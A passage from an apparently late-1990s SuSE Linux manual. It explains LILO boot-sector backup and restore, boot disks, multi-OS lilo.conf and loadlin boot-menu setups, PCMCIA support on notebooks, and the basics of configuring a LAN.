For other restorations, first make a backup of the LILO sector in question—the safer the better. Now you should check (at least twice `:-)`) whether your old backup file is the correct one and if it is exactly 512 bytes in size! At last, write it back, but do not confuse `if=` and `of=`!

- If LILO resides in partition yyyy (e. g., hda1, hda2, ...):

```
earth: # dd if=/dev/yyyy of=New-File bs=512 count=1
earth: # dd if=Backup-Date of=/dev/yyyy
```

- If LILO resides in the MBR of zzz (e. g., hda, sda):

```
earth: # dd if=/dev/zzz of=New-File bs=512 count=1
earth: # dd if=Backup-Date of=/dev/zzz bs=446 count=1
```

The last command is cautious and does not write the partition table. By the way, note how easy and fast a boot sector backup is done. We recommend you do this frequently!

4.6 Creating a Linux boot disk

A Linux boot disk consists (a little simplified) of one or more Linux kernels, possibly managed by LILO. It serves for starting up your system even if booting directly from hard disk is not possible (possible reasons: overwritten MBR, misconfigured boot manager, errors while installing, and many more).

Such a boot disk loads *only* the kernel. Everything else, including working system programs and `init` start scripts) must be provided by the installation on the hard drive. The connection is established via the kernel. The kernel gets the root device of your machine.

Do not confuse this with the SuSE boot disk for installation and emergencies, which you can create by copying the appropriate image from the directory `disks` on the SuSE CD-ROM to a floppy disk anytime (see section 16.3, page 327).

[15] This is provided that the MBR (section 4.1) has valid code. If not, it is considered invalid and the partition table is moved to "null".

Boot disk without LILO

If you are in the lucky situation that your kernel does *not* need any hardware parameters, the easiest way to create a boot disk is to just write the actual kernel onto a raw disk and to adjust the root device (if not done before).

```
earth: # dd if=Your_Kernel of=/dev/fd0 bs=18k
earth: # rdev /dev/fd0 Your_Root_Partition
earth: # rdev -R /dev/fd0 1
```

The last command makes sure that the kernel initially mounts root read-only (as it is expected; the startup scripts rely on it).

Boot disk with LILO

You can create a much more capable boot disk with greeting, prompt, kernel parameters and other LILO goodies by transferring the complete LILO booting start machinery onto the disk (see section 4.3). For this, the disk needs a filesystem; Minix suits this best.

If you only want to install a kernel and you do not want the greeting, YaST can perform this task for you in 'Administrating the system'.

> Your kernel must be labeled /boot/vmlinuz to use YaST. Otherwise, YaST will not find it! – there is a "fallback" to the older version /vmlinuz ...

In other cases, proceed as follows:

- Create a Minix filesystem on a new and empty diskette and mount the disk to, e. g., /mnt with the commands:

  ```
  earth: # /sbin/mkfs.minix -c /dev/fd0 1440
  earth: # /bin/mount /dev/fd0 /mnt
  ```

- Now copy your kernel files and the LILO file /boot/boot.b to /mnt, e. g., onto the diskette.
- Optional: create a message file /mnt/message.
- Create lilo.conf on /mnt. Of course, you have to adapt this to your needs (give the correct name of the kernel, etc.). See file contents 4.6.1, page 95 for an example.
- Install LILO with *this* lilo.conf:

  ```
  earth: # /sbin/lilo -C /mnt/lilo.conf
  ```

- Unmount the floppy—you are done!

  ```
  earth: # /bin/umount /mnt
  ```

- Do not forget to check your boot disk at the next system start to check whether it works or not :-)

```
# LILO Configuration file bootdisk
# Start LILO global Section
boot=/dev/fd0               # Installation: Floppy
install=/mnt/boot.b         # Of course LILO and
map=/mnt/map                # map file onto floppy!
message=/mnt/message        # optional
prompt
timeout=100     # Wait at prompt: 10 s
vga = normal    #
# End LILO global section
#
# Linux bootable partition config begins
image = /mnt/First_Kernel      #   default
    root = /dev/Your_Root_Device # Here your root partition!
    label = linux
# Linux bootable partition config ends
#
# System sections for more kernel here:
```

File contents 4.6.1: `lilo.conf` for a bootdisk

4.7 Sample configurations

If Linux is all alone on your machine, there is nothing to do, since everything needed has already been done by YaST.

No we will give you some example configurations. Please have a look at `/usr/doc/howto/mini/Linux+*.gz`, here you will see some configuration files for LILO.

4.7.1 DOS/Windows 95 and Linux

Required: There must be at least a primary partition for each DOS/Windows 95 and Linux which is below the 1024 cylinders limit (section 4.3).

For this case, we have already discussed a configuration (file contents 4.4.1) — only the settings for **`root=`**, **`image=`** and **`other=`** have to be adapted. LILO is installed in the MBR. Of course, you should omit the `Linux.old` if you do not have an old kernel installed.

Save your `/etc/lilo.conf` and be sure you have a Linux boot disk. Windows 95 feels especially inclined to eliminate “foreign” MBRs.[16] If you are able to boot Linux using your boot disk, this problem is quickly solved.

```
earth: # /sbin/lilo
```

will complete your LILO installation.

4.7.2 Windows NT and Linux on one hard disk

1. When Windows NT and Linux must co-exist on one hard disk, use the NT boot manager for booting. This can either start the kernel images or

[16] A complete list of cases is not known …

the boot sectors themselves. Execution of the following steps prepares everything for a friendly coexistence of Linux and Windows NT:

- Install NT.
- Partition the NT disks (using FAT so that Linux can write on it).
- Install Linux as usual (in our example, the root partition is on `/dev/sda3`). Mount the DOS data disk (e. g., on `/dos`).
- Install LILO, but install it in Linux' root partition (`/dev/sda3`), **not** in the MBR (`/dev/sda`). You may still configure a selection of Linux kernels for LILO. See file contents 4.7.1 for an example `lilo.conf`.

```
# LILO Configuration file
# Start LILO global Section
boot=/dev/sda3                # Target of installation
backup=/boot/boot.sda3.970428 # Backup previous boot sector;
                              # 28. Apr 1997
prompt
timeout=100     # Wait at prompt: 10 s
vga = normal    # force sane state
# End LILO global section
# Linux bootable partition config begins
image = /vmlinuz             #   default image to boot
    root = /dev/sda?         # Here the root partition!
    label = Linux
# Linux bootable partition config ends
```

File contents 4.7.1: `lilo.conf` for booting a Linux root partition

- Copy the LILO boot sector where NT can find it; e. g.:

  ```
  earth: # /bin/dd if=/dev/sda3 bs=512 count=1 of=/dosen/bootsek.lin
  ```

  This step as well as the following has to be performed after every kernel update.
- Boot NT. Copy `bootsek.lin` from data disk to main directory of NT's system drive (if it is not already there).
- In `boot.ini` (first setting attributes), supplement at the end:

  ```
  c:\bootsek.lin="Linux"
  ```

- After next booting (if everything went right), there should be an entry in NT's boot manager.

2. Another possibility: install LILO in the MBR and claim that it's DOS to Windows NT (as in our previous example).

> NT 3.5* does not recognize Linux' partition types 82 and 83. Make sure that no NT program tries to "repair" your partition table. Data loss would be the result! Always have valid backups of the LILO boot sector at hand.

4.7.3 OS/2 and Linux

1. Use the *OS/2 boot manager* for booting. It can launch unlimited primary and logical partitions provided they are below the 1024 cylinders limit. The user is responsible for the partitions This boot manager is configured by OS/2's **fdisk**.

   Preparation on the Linux side: is just making a partition bootable (usually this is the root partition) with LILO. You can use the same `lilo.conf` as in the Windows NT example, but there is one thing that you have to consider *in advance* …

   Preparation on the OS/2 side: OS/2 not only uses the conventional and obvious entries for existing partitions in MBRs on hard disks but also uses "waste" space in these sectors for additional information.[17] If these are inconsistent, OS/2's **fdisk** considers these partitions faulty and refuses boot manager services. The **fdisk**s of other systems do not know how to handle these extra partitions … Conflicts are inevitable.

   Therefore: before installing Linux, load OS/2 (the installation system is sufficient) and create the Linux partitions with OS/2's **fdisk**, at least the logical drives. This initially creates additional OS/2 partitions which can be in the way. *Solution:* immediately after creating the partitions, load the Linux installation system (or the rescue disk from the SuSE Linux CD) and change the partition types to 83 (Linux native). Now these partitions will be ignored by OS/2.
2. Install LILO as the main boot manager on a primary partition on the first disk.[18] This special case is also considered in our next example where DOS is involved in addition.

4.7.4 DOS, OS/2 and Linux

1. If you have used the *OS/2 boot manager* for DOS and OS/2 and want to continue using it, simply add Linux to its start menu as described in the previous example.
2. If you have *LILO* installed as the main boot manager on a primary partition of the first hard disk, then the following, purposely complicated example for `lilo.conf` (file contents 4.7.2, page 98) assumes that DOS' and Linux' boot partitions are primary and on the first hard disk whereas OS/2 resides on the second hard disk—all of them below the 1024 cylinders limit. OS/2 is on the second drive. That's why a special loader (`/boot/os2_b.b` instead of `/boot/chain.b`) is used. The MBR code might be either from DOS or OS/2 (of no consequence). The LILO boot partition (`/dev/sda4`) must be marked active with any **fdisk**.

4.8 LILO problems

[17] A new Support Data Base article is about to be written: keyword "OS/2".

[18] It is not a good idea to install in the MBR, as repartitioning with another **fdisk** could erase the MBR and thus remove LILO.

```
# LILO Configuration file
# Start LILO global Section
boot  = /dev/sda4        # LILO in Linux root partition
backup = /boot/boot.sda4.970428
message = /boot/message  #  Greeting message
prompt
delay = 100
vga   = normal
#
# Linux bootable partition config begins
image = /vmlinuz
    label = linux
    root  = /dev/sda4
# Linux bootable partition config ends
#
# OS/2 bootable partition config begins
other = /dev/sdb5
    table = /dev/sdb
    label = os2
    loader = /boot/os2_b.b
# OS/2 bootable partition config ends
#
# DOS bootable partition config begins
other = /dev/sda1
    table = /dev/sda
    label = dos
# DOS bootable partition config ends
```

File contents 4.7.2: LILO with DOS, OS/2 and Linux on two hard disks

Some guidelines

Some simple guidelines at the beginning will avoid most LILO problems in advance (this is taken from the LILO documentation [Almesberger, 1994]):

- *Do not panic!* If anything does not work, try to find the error and/or the cause first; check the diagnosis and then commence with fixing the problem.
- Always have an up-to-date and tested *boot disk* at hand.
- SuSE Linux contains a full Linux system on its boot disk and installation CD (for the rescue system see section 16.3) for enabling you to reach all your Linux partitions. Included are tools for repairing almost any problems that can occur.
- Read the complete LILO documentation, especially if the system does not do what you want it to do.
- Check `/etc/lilo.conf` *before* using the map installer (`/sbin/lilo`).
- Be attentive if using a big, or more than one, hard drive. Be aware of the 1024 cylinders limit.
- Try with and without **`linear`** option (normally it should be better without!).

4.8.1 Diagnosis of errors: LILO start messages

This is mainly section 5.2.1 from [Almesberger, 1994].

When LILO is launched, it displays the word `'LILO'`. Every letter signifies a certain state. If LILO cannot be launched, the output letters give a clue to where the error occurred.

none No part of LILO has been loaded. Either LILO is not installed at all or the partition with LILO's boot sector has not been started.

`'L'` ***error*** ... The *first step* has been loaded and started but the second step (`/boot/boot.b`) could not be loaded. This normally points to a physical error on the boot device or a faulty disk geometry.

`'LI'` The second step has been invoked but could not be started. This can be due to a faulty disk geometry or to moving `/boot/boot.b` without reinstalling LILO.

`'LIL'` The second step of LILO has been started but could not allocate needed data from its map file. This typically is due to a physical error of the boot device or a faulty disk geometry.

`'LIL?'` The second step has been loaded at a wrong memory address. This can be due to a faulty disk geometry or to moving `/boot/boot.b` without reinstalling LILO.

`'LIL-'` Data in the map file is invalid. This can be due to a faulty disk geometry or to moving `/boot/boot.b` without reinstalling LILO.

`'LILO'` Every part of LILO has been loaded successfully.

The most common causes for *geometry errors* are not physical defects or invalid partition tables but errors in LILO installation, including:

- disregard of the 1024 cylinders limit (see next section)
- an unsuccessful attempt at starting LILO from a logical partition

4.8.2 The 1024 cylinders limit

As emphasized before in (section 4.3), the entire LILO machinery (e. g., any data that is needed for booting) must be able to process BIOS calls (which means it must reside below the 1024 cylinders limit on the hard drive). The sections of the hard drive that can be used (we call these *allowed sections*) have already been discussed.

This restriction affects *only* the boot-up machinery. There is, indeed, no law that says it has to be on the Linux root partition. It is even possible (but quite dangerous, too) to put the boot machinery onto partitions of other operating systems to which Linux has read and write access.

> Never install the LILO boot sector onto an unknown partition because you will severely damage the filesystem!

- The best method is to create a primary partition (within the allowed section) and to install all LILO files (including the LILO boot sector) into this partition. This will be, in most cases, the Linux root partition.

  You can also add it to `/boot` with YaST. The only condition is that there has to be enough space for

- `boot.b`, `map`, `message`, and
- the Linux kernels that LILO should boot.

A few megabytes is enough. It does not matter where you put the rest of your partitions. There are no more restrictions. As soon as the kernel runs, you have unrestricted access to all installed drives.

But what to do if there is no space for such a partition? If you neither want to repartition your disk, nor to upgrade to SCSI, nor want to purchase a new BIOS version, there are still two (makeshift) possibilities:

- Use a boot disk instead of LILO on the hard disk, or, if you are also running MS-DOS, you can use **loadlin** as well.
- Install the LILO boot machinery onto a Linux partition which is in the allowed section and where Linux has write access (e. g., a FAT/VFAT drive). Of course, we cannot put the LILO boot sector there! So there are only two places to put it. Either at the start of an extended partition on the first drive—as long as it is beneath the 1024 cylinders limit—or on the MBR.

  Suppose that the partition in question is mounted on `/mnt` and further that LILO is installed in the MBR (`/dev/hda`) and that also you boot DOS from `/dev/hda1`. Then you should proceed as follows:

  - Create a new directory (e. g., `/mnt/LINUX`) and copy the LILO files mentioned above to it: `boot.b`, `map`, `message`, as well as the Chain Loader of other operating systems (normally `chain.b`) and finally the Linux kernels that LILO should boot.
  - Create a `/mnt/LINUX/lilo.conf` where all paths point to `/mnt/LINUX` (see file contents 4.8.1, page 101).
  - Install LILO with *this* `lilo.conf`:

    ```
    earth: # /sbin/lilo -C /mnt/LINUX/lilo.conf
    ```

    After that, LILO should work. Boot MS-DOS and protect the LILO files as well as possible against write access (just to remind you: any write access disables LILO). To accomplish this, you should assign to all files under `X:\LINUX` (where the `'X'` is the DOS drive mounted to `/mnt`) the DOS attributes *system* and *hide*.

In conclusion, we point you toward two HOWTOs in `/usr/doc/howto/mini/`—`LILO.gz` and `Large-Disk.gz`.

4.8.3 Special boot problems with kernels from 2.0 onwards

Problems

Problems booting with LILO might occur after having loaded a considerable part of the kernel (e. g., a SuSE installation kernel) `:-(`

You can select a kernel at the LILO prompt and this kernel is loaded (some dots are output onto the screen) but starting the kernel fails. Before reaching `"uncompressing Linux"` the system crashes with different behaviors.

Possible error messages:

```
# LILO Configuration file
# Start LILO global Section
boot=/dev/hda               # Installation target
backup=/mnt/LINUX/hda.xxxx  # backup of old MBR
install=/mnt/LINUX/boot.b  # Of course LILO and
map=/mnt/LINUX/map         # map file are in /mnt/LINUX!
message=/mnt/LINUX/message # optional
prompt
timeout=100     # Wait at prompt: 10 s
vga = normal    #
# End LILO global section
#
# Linux bootable partition config begins
image = /mnt/LINUX/First_Kernel   #   default
    root = /dev/Your_Root_Device    # Root partition!
    label = linux
# Linux bootable partition config ends
#
# System section for other kernels:
#
# Ende Linux
# DOS bootable partition config begins
other = /dev/hda1      # MSDOS system drive
    label = dos
    loader = /mnt/LINUX/chain.b
    table = /dev/hda
# DOS bootable partition config ends
```

File contents 4.8.1: `lilo.conf` for other partitions

- System reboots
- System just hangs
- `"crc-error"`
- `"no free space"`
- `"Error 0x00"`
- `"Error 0x01"`
- `"incomplete literal tree"`

Thereafter, access on the floppy is attempted but the system hangs.

Cause

The cause lies in a combination of a big kernel, LILO and faulty hardware. Roughly this affects 1% of all machines.

We assume that this is due to a faulty BIOS that has problems with fast memory access.

This problem does *not* occur, if:

- the machine is booted via **loadlin**

- the kernel has been copied to a floppy

  ```
  dd if=/vmlinuz of=/dev/fd0
  ```

  and booted from it
- a smaller kernel, that has been created with

  ```
  make zImage
  ```

  (e. g., an older 1.2.13 kernel) is booted via LILO

The following BIOS settings did not cause any problems either:

- Disable Internal Cache
- **`DRAM Precharge Wait State`** value: 1 *and*
- **`DRAM Wait Burst Timing`** value: `0x3333`

Solution

First of all, a you should be able to install a system. So, if you can neither boot via **loadlin** nor via **setup** you should use an old kernel 1.2.13 boot disk for installation. If you do not have such a disk at hand, you should change the BIOS settings accordingly.

After a successful installation, the question is how you want to boot in the future. First, you should use the same media as during installation. **loadlin** from DOS should not cause any problems. With a boot disk, you should enter the following parameters:

```
load_ramdisk=0 root=/dev/???
```

where `???` is your root partition (e. g., `/dev/hda1`). Thereafter, you should build your own kernel since this can be booted using LILO.

4.9 Starting via loadlin

Now we want to offer an alternative to boot SuSE Linux, **loadlin**. Program **loadlin** is a DOS program that is capable of booting a Linux kernel from a DOS directory. Thus **loadlin** perfectly integrates itself into an existing DOS/Windows 9x environment. As no entry in the ☞*MBR* is needed Windows only notices some unknown partitions. The risc of side effects due to a Linux installation is minimized.

The procedure described below works on both Windows 95 and Windows 98. The files themselves have been written in Windows 95.

In principle, there are two ways of activating **loadlin**. One is to switch between various systems via a boot menu or to start Linux via **loadlin** from another running system.

Both methods have advantages and disadvantages:

- A boot menu saves you the detour of using another operating system.
- You can add other configurations to your boot menu for creating a universal starting mechanism.
- A boot menu is the more flexible way and you will be able to solve problems if they occur.

- You have to modify start files to build a boot menu which you will have to do by trial and error.
- Changing to Linux from the DOS prompt is very simple.
- A Linux start can be very nicely integrated into a Windows 95 session. Double clicking an icon will start Linux (Windows 95 contains DOS 7.0).

> You should use a boot menu if you are using DOS or Windows 3.x. If using Windows 95, you can most easily start from the running system. Start menus under Windows 95 are a very complex matter. We are only able to give you some hints about them.

4.9.1 Necessary steps for all loadlin users

This is what you have to do whether you decide to use a boot menu or to start from a running system (under DOS, Windows 3.x, or Windows 95):

1. Probably, you already installed **loadlin** (this was done in section 2.5.4, page 32). If not, do so now using **setup**.
2. Change to `c:\loadlin` under MS-DOS. There you will find a file called `linux.par`. Create a file named `startlin.bat` (or any other name). Now insert the line described in file contents 4.9.1, page 103:

```
c:\loadlin\loadlin @@c:\loadlin\linux.par
```

File contents 4.9.1: Example of a batch file for starting Linux

Next, edit the file `linux.par` (file contents 4.9.2, page 103).

```
c:\loadlin\vmlinuz  # first value must be
                    # the filename of the Linux-kernel

root=/dev/xxx       # the device which gets mounted as root FS

ro                  # mount root read-only
```

File contents 4.9.2: Example of the file `linux.par` with customized values

Instead of `xxx`, enter your root partition's device name (you wrote down this name in section 2.3.7, page 20). `startlin.bat` starts Linux. The file `linux.par` is used by `startlin.bat` as well as by `config.sys` and contains essential parameters. Later on, after getting more familiar with Linux, you can add or replace parameters here. If you have built a kernel of your own, just copy it to `c:\loadlin\vmlinuz` and it will be booted from then on.

4.9.2 Using a boot menu if you have DOS or Windows 3.x

Here's how to configure a boot menu under DOS or Windows 3.x:

1. First, define a boot menu section in your `c:\config.sys` file. Open `c:\config.sys` in an editor and enter something like file contents 4.9.3, page 104.

```
[Menu]
menuitem=Win, starting Windows,...
menuitem=DOS, starting DOS, MS-DOS...
menuitem=Linux, starting Linux...
menucolor=15,1
menudefault=Win,5
```

File contents 4.9.3: Example of first part of Linux boot menu in `c:\config.sys`

   Under the label `[Menu]`, define an entry in the boot menu for each OS you want to boot. Also, define the menu's color and after how many seconds each OS will be automatically started.
2. Below these entries, enter the labels [Common], [Win], [DOS], and [Linux]. Commands entered in [Common] are always executed. All other entries are OS specific. See the example in file contents 4.9.4, page 105. Be guided by the lines in your own `config.sys`. An example may be found in: file contents 4.9.4, page 105.

   Now save the file with your changes.
3. Next, edit `c:\autoexec.bat`. Here you must put the same labels and assign entries to labels, except the notation differs slightly. See the example in file contents 4.9.5, page 106. Notice that the Linux case is not mentioned here because Linux is booted using **loadlin** directly from the `c:\config.sys` file. The variable %config% contains the selected label (:Win or :DOS). Customize the code to fit your machine.
4. If you boot your machine using the example code, the boot menu appears and you have five seconds to choose an operating system. After five seconds, Windows starts automatically (menudefault=Win,5). If you select `'Linux'`, Linux starts and awaits your login.

4.9.3 Starting Linux from within Windows

To create a start icon for Linux for booting Linux from within a running Windows 95 session:

1. Open **Windows Explorer**. Change to `c:\loadlin`. With the right mouse button, click on the file `startlin.bat` and select `'Create Shortcut'`.
2. Drag the shortcut onto the desktop.
3. Click on `'Shortcut to startlin.bat'` with the right mouse button and select `'Properties'`. Go to tab `'Program'`, click on the button `'Advanced'` and click `'MS-DOS mode'` on. Confirm with `'OK'`.

```
[Common]
device=c:\dos\himem.sys /testmem:off
device=c:\dos\emm386.exe noems I=E000-F4FF
dos=high,umb
files=30
buffers=10
shell=c:\dos\command.com

[Win]
devicehigh=c:\dos\dblspace.sys /move
devicehigh=c:\cd\slcd.sys /D:SONY_000 /B:340 /M:P /V /C

[DOS]
devicehigh=c:\dos\dblspace.sys /move
devicehigh=c:\cd\slcd.sys /D:SONY_000 /B:340 /M:P /V /C

[Linux]
shell=c:\loadlin\loadlin.exe @@c:\loadlin\linux.par

[Common]
rem Remains blank
```

File contents 4.9.4: Example of second part of Linux boot menu in `c:\config.sys`

4. Click the 'Change icon' button and select a nice icon; give the shortcut a suitable name; Voila!
5. Double clicking this new shortcut should bring up a dialog box telling you that Windows 95 is about to switch to DOS mode. If this dialog box bothers you, turn it off in the properties menu.

4.9.4 An alternative: a boot menu with Windows 95

Here's how to proceed to install a boot menu for Windows 95:

1. You must edit the file `c:\msdos.sys`. First, make the file visible by entering: **C:>** `attrib -R -S -H c:\msdos.sys`

   This is a text file where you have to enter some lines for deactivating the Windows 95 start menu. Label [Options] should resemble file contents 4.9.6, page 106.

   The parameter `Logo=0` is optional and avoids switching to graphics mode before Windows 95 is started. Booting is much faster and you avoid lots of trouble if you plan to use the DOS emulator on Linux later on.

   The parameter `BootGUI=0` is for booting Windows 95 directly into DOS mode. For starting Windows out of this you have to enter:

   C:> `win` but this is already done by our example `c:\autoexec.bat` if you have selected Win95 from our menu.
2. Next, define your boot menu in `c:\config.sys`. See file contents 4.9.7, page 106) for an example.

```
@@echo off

rem Entries for all Configurations
switches= /f
set comspec=c:\dos\command.com
prompt $p$g
loadhigh c:\dos\keyb gr,,c:\dos\keyboard.sys
loadhigh c:\dos\doskey
set temp=c:\temp
loadhigh c:\dos\mscdex.exe /D:SONY_000 /E /V /L:H
c:\logimaus\mouse.exe

goto %config%

:Win
c:\dos\smartdrv.exe a- b- c+ 2048 1024
path c:.;d:.;c:\windows;c:\dos;c:\util;
win :
c:\dos\smartdrv /C
goto ende

:DOS
path c:.;d:.;c:\dos;c:\util;
goto ende

:ende
echo * Goodbye *
```

File contents 4.9.5: Example of `autoexec.bat` supporting Linux boot menu

```
[Options]
BootGUI=0
BootDelay=0
BootMenu=0
Logo=0
```

File contents 4.9.6: `msdos.sys` to start Linux using a Windows 95 boot menu

```
[Menu]
menuitem=Win95, start Windows 95...
menuitem=DOS, start MS-DOS...
menuitem=Linux, start Linux...
menudefault=Win95,5
```

File contents 4.9.7: Example `config.sys` (part one) for starting Linux using a boot menu with Windows 95

Under the Label `[Menu]`, define entries for the boot menu, its color and the delay for starting up automatically.

3. Further down in `config.sys`, enter labels `[Win95]`, `[DOS]`, `[Linux]`, and `[Common]`. `[Common]` is for entries that apply every time (this will very rarely be the case under Windows 95). All other labels are for the corresponding operating system. Use those lines that are already written in your `config.sys`. The example in file contents 4.9.8, page 107, should only be regarded as a hint.

```
[Win95]
dos=high,umb
device=c:\windows\himem.sys /testmem:off

[DOS] device=c:\plugplay\drivers\dos\dwcfgmg.sys
dos=high,umb
device=c:\windows\himem.sys /testmem:off
device=c:\windows\emm386.exe noems I=B000-B7FF
devicehigh=c:\cdrom\torisan.sys /D:TSYCD3 /P:SM

[Linux]
shell=c:\loadlin\loadlin.exe @@c:\loadlin\linux.par

[Common]
accdate=C+ D+ H+
switches= /F buffers=20
```

File contents 4.9.8: Example `config.sys` (part two) for starting Linux using a boot menu with Windows 95

Now save this file.

4. Next, edit `c:\autoexec.bat`. Here, enter the same labels, except the notation differs slightly. Which label has been selected is written to variable %config%. Notice that the Linux case is not included here because Linux is booted using **loadlin** directly from the `config.sys` file. You will write something similar to file contents 4.9.9, page 108.

   When you have finished entering your edits, save this file.

5. If you now boot your machine, the Windows 95 boot menu should appear, giving you two seconds to select an entry. If you choose *Command line*, your own boot menu will be displayed. Now you have five seconds to select an operating system. After this delay, Windows 95 starts automatically. If you select `'Linux'`, Linux starts and awaits your login.

```
@@echo off
loadhigh keyb gr,,c:\windows\command\keyboard.sys
goto %config%

:Win95
win
goto ende

:DOS
path c:.;d:.;c:\windows\command;c:\util;
loadhigh c:\windows\command\mscdex.exe /D:TSYCD3 /L:x
loadhigh c:\windows\command\doskey
c:\windows\command\mouse.exe
goto ende

:ende
echo * And now? *
```

File contents 4.9.9: Example `autoexec.bat` for starting Linux under Windows 95

Chapter **5**

Notebooks and PCMCIA cards

Introduction

There are several PCMCIA adapters supported by Linux which make it possible to use PCMCIA adapters on notebooks running Linux.

All common cards are supported, such as **Intel**, **Cirrus**, **Vadem**, **VLSI**, **Ricoh** and **Databook** chips as well as special adapters found in **IBM** and **Toshiba** laptops and PCMCIA adapters found in desktops.

For installation, PCMCIA cards are only relevant if:

- you install via ☞*NFS* using the PCMCIA networking card
- you install via CD-ROM and the CD-ROM is connected via PCMCIA
- you install onto a SCSI hard drive which is connected to a SCSI PCMCIA adapter

5.1 The Linux PCMCIA support concept

The PCMCIA support in Linux is a kernel-independent subsystem and has not yet been included in the kernel itself. PCMCIA support will most probably be included in kernel versions 2.2 and beyond.

PCMCIA support is only available using kernel modules (see section 13.2). For maintaining these modules, there is a special program, **Card Manager** (**`cardmgr`**), whose task it is to supervise the PCMCIA sockets and to load or remove the appropriate modules on demand. From this point of view, the Card Manager can be considered a second kernel daemon (see section 13.2.2). This concept also enables you to change cards in a running system without any special precautions.

But it also has its disadvantages. Since it is not possible to build monolithic kernels with PCMCIA support, there are some restrictions as far as hardware is concerned. It is not possible to install Linux entirely on a SCSI drive which is connected to a laptop via a SCSI controller. To be precise: installation is possible, but booting the system is rather tedious since the SCSI driver's adapter can only be loaded after booting.

The only solution at the moment is a special form of RAM disk which enables the system to launch programs before booting the system (see section 13.4.6). For addressing PCMCIA hardware, you can load the appropriate modules, before the "real" booting, into the RAM disk.

So, if you insist on installing your system directly onto a SCSI drive connected using a PCMCIA SCSI adapter, booting with this RAM disk is the only choice you have.

The special SuSE boot disk uses this same kind of RAM disk.

Making this work is rather complicated and beyond the scope of this chapter.[1]

Since this solution is very time consuming and requires upgrading the kernel, we highly recommend that instead you install at least the root partition of an existing (E)IDE drive to get started. The amount of space needed will only be approximately 20 MB.

Use of a **JAZ Drive** on a *parallel* port does not present this kind of problem, since this driver can be compiled into the kernel. You will still not be able to use the parallel port for a printer, but it is our aim to make this possible in future versions of SuSE Linux.

5.2 Installation

As described above, the SuSE boot disk (SuSE Linux 4.4.1 or later) is able to load the Card Manager in advance and to load the required modules, hereby automatically recognizing the PCMCIA chipset.

For installing Linux on a laptop, this should be your first choice. In **linuxrc**, select `'Kernel modules (hardware driver)'` and then `'Load PCMCIA modules'`. **linuxrc** now tries to recognize the PCMCIA chipset, loads the PCMCIA kernel modules and starts the Card Manager. The software now takes some seconds to analyze the hardware and to load the necessary modules. (Be aware that for memory reasons only those modules are on the boot disk that are really relevant to the installation.) Modules for modem cards, for example, are not included.

As soon as **linuxrc** announces that it has successfully launched the Card Manager, you can load the installation system directly from CD and commence, as usual, by starting YaST (as described in section 2.3.5). On the other consoles, you can see whether all cards haven been installed correctly (e. g., using Alt + F2 or Alt + F3).

[1] More information can be found at `ramdisk.txt` and `initrd.txt` in the directory `/usr/src/linux/Documentation`.

Part III

Network configuration

Chapter 6

Networking Linux

Preliminary words ...

In this age of communication, the number of linked machines grows day by day. Networking is becoming a "way of life". Whether on a local ☞*network* (☞*LAN*), on the ☞*Internet* or simply connected to a mailbox, you have to communicate. ☞*Email* , news, and participating in world-wide discussion forums has become a *must* for all who want to be up to date. Linux, being a real child of the Internet, offers you all the resources necessary to connect to multiple networks. All common networking tools are available on Linux, thus letting Linux machines participate in every network.

Here, we will give you an overview of the tools needed for installing and maintaining your network connections. The most important configuration files will be discussed with some of the more important tools.

First, we show how a Linux machine can be integrated into an existing ☞*LAN* and how to create a network of Linux machines. Then, connections to other hosts via modems are explained. We introduce UUCP and show how you can install Internet connectivity via SLIP or PPP. Mail and news system configuration is discussed thoroughly.

Almost everything to do with networks can be done in YaST (see section 3.13, page 70 and section 17.6, page 338). On the other hand, configuration of a network can become very complex. That's why we show only basic mechanisms and all relevant files.

Good neighborhood—connecting to a LAN

Connecting a Linux machine to other UNIX machines (of course, there can be other Linux machines among them as well) via a LAN doesn't impose a problem. There are some preconditions, but they do not restrict the use of a Linux machine in a networking environment.

Requirements and preliminary work

Linux supports almost every network card (Ethernet, Arcnet, TokenRing) and knows almost every known networking protocol (TCP/IP, AppleTalk, IPX). Taking every possible configuration into consideration is, of course, far beyond the scope of this chapter. We will discuss the *generic* case (integrating Linux into a TCP/IP network via an ethernet card). The latest information about other networks is found in `Documentation` in your kernel source directory. The kernel's help function supplies you with very useful additional information.

The following requirements have to be met:

- Your machine has to have a supported card; whether your card has been started correctly can be seen with the following command:

  ```
  earth:/ # cat /proc/net/dev
  ```

  There should be a line beginning with **`eth0:`**.
- The kernel has to be correctly configured for network use (see section 13.1, page 263, for more details).

> If kernel support uses modules (see section 13.2, page 263—all SuSE kernels are configured this way), the name of the module has to be entered in `/etc/conf.modules`. For your first Ethernet card, this might look like:
> **`alias eth0 tulip`**
> This was done automatically if you selected the network module in **Linuxrc** during installation. Later, this may be done using YaST (see section 3.13.1, page 70).

If these preconditions are satisfied, there are some things to be thought of before starting to configure your machine:

Hostname	The name of your machine on the network. Hostname should not exceed 8 characters and should not already be used on the local net.
IP address	The address of your machine on the net. Every machine has got at least one IP address. This address is a 32 bit word and, in most instances, is given as a quadruple (e. g., `193.141.17.1`). If you choose an IP address, you should consider whether you plan to connect to the Internet in the near future. If so, it is recommended that you use registered IP addresses from the very start. If you only have a private local network, there are some address ranges defined by the pseudo-standard RFC1597 which ensures that even if one of these addresses "escapes" to the Internet, it won't hurt anybody or cause any damage. 10.0.0.0 ⇒ 10.255.255.255 (Class A) 172.16.0.0 ⇒ 172.31.255.255 (Class B) 192.168.0.0 ⇒ 192.168.255.255 (Class C)

Table 6.1: to be continued...

Domain name	The name of the domain your machine belongs to. Domains help structure big networks (e. g., the Internet). A host is addressed via its *full* name which is comprised of a hostname and a domain name. `Gauss.Suse.de` is the machine `Gauss` in the domain `Suse.de`.
Gateway address	If there is a gateway computer on your network (e. g., a machine that is connected to more than one network and which transports packets from one network to the other), you can enter the appropriate address while configuring your network.
Netmask	By means of the netmask, it is clear which network the machine belongs to. The IP address is added to the netmask via a logical *AND*. Thus, the host part is cut out and leaves the network's address as a result.
Address of the nameserver	Nameservers provide DNS (Domain Name Service) for turning hostnames into IP addresses. If there is a reachable nameserver on the net and you want to use it by default, its IP address can be entered while configuring the network.

Table 6.1: Values for network configuration

6.1 Configuring using YaST

If all the preliminary requirements from section 6, page 113, are fulfilled, you can start configuring your network via YaST.

Select 'System administration' and 'Network configuration' from the menu. YaST first asks you about the hostname and the domain name. Thereafter, it wants to know whether only the loopback device should be used. If this is true, all other questions are irrelevant. But this also means that you can't use the machine on a network!

After having entered the IP address, you are asked for a gateway address. If there isn't any gateway installed on your network, you should enter your own IP address. Next, the netmask has to be set. For a class C network (up to 254 machines on a subnet). this is typically `255.255.255.0`.

After all that, enter the address of a nameserver, if it exists.

